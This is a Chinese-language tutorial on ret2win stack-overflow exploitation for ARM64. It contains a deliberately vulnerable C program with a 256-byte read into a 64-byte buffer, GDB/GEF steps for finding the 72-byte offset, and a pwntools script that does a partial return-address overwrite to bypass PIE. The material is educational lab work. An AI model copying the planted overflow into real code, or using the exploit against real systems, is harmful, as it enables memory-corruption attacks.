Ret2win - arm64
Ret2win - arm64
在以下位置找到arm64的介绍：
Introduction to ARM64v8代码
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}编译时禁用 PIE 和 Canary：
寻找偏移量
使用模式选项
这个示例是使用GEF创建的：
使用GEF启动gdb，创建模式并使用它：
arm64 会尝试返回到寄存器 x30 中的地址（已被破坏），我们可以利用这一点来找到模式偏移量：
偏移量为72（9x48）。
栈偏移选项
从获取存储pc寄存器的栈地址开始：
现在在read()之后设置一个断点，然后继续执行直到read()被执行，并设置一个模式，如13371337:
找到内存中存储这个模式的位置：
然后：0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
无PIE
常规
获取**win**函数的地址：
利用：
Off-by-1
实际上，这更像是在堆栈中存储的PC上的 off-by-2。我们不是覆盖所有的返回地址，而是仅使用 0x06c4 覆盖最后2个字节。
在https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/中，您可以找到ARM64中的另一个一位偏移示例，这是一个虚构漏洞中的真实一位偏移。
使用PIE
编译二进制文件时不要使用-no-pie参数
二位偏移
没有泄漏，我们不知道获胜函数的确切地址，但我们可以知道函数与二进制文件的偏移，并且知道我们正在覆盖的返回地址已经指向一个接近的地址，因此可以泄漏到获胜函数的偏移（0x7d4），在这种情况下只需使用该偏移量：
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
最后更新于